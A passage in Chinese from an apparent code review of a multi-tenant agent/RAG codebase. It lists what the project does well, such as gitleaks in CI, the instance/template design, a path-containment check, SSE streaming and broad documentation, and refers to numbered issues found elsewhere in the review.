处)—— agent-link 时的跨 tenant 缺口(#30)是*异常值*,不是常态。最重要的地方 pattern 是对的。 - tests/test_instance.py_deep_merge 的覆盖。 instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。 - CI 里的 gitleaks。 .github/workflows/ci.yml:23 在 PR 上跑 gitleaks,正因为这个 travelagent 的 .env key 才没被提交,尽管它躺在磁盘上。CI 在做它该做的;pre-commit 层只需要 mirror 一下。 - instance 机制的设计。 Agent 即 template、instance 即 data,配 _deep_merge、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap(#36)是实现问题不是设计问题。 - wiki 端点的 containment 检查。 knowledge.py:1050 正确强制 str(full).startswith(str(wiki_path.resolve())) —— 证明这套代码知道正确 pattern。(add_files#27 只是忘了用。) - Streaming SSE 基础设施。 run_agent_stream 正确卸到 daemon 线程(agents.py:791),不像 sync /run 那条线。形状好;只是 client 端缺 unmount cleanup。 - lambdagent.cost_grade 里的 cost vector 和 graded cost 机制。 存在且产生正确值;_estimate_money 的子串 bug(#59)是另一个 recursive_engine.py helper 里的,不是 authoritative 路径。 - 文档广度。 docs/ 里有 theory.mdconstructs.mdfrom-config-spec.mdSPEC.mdapi.mdcli-usage.md 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题,不是缺席问题。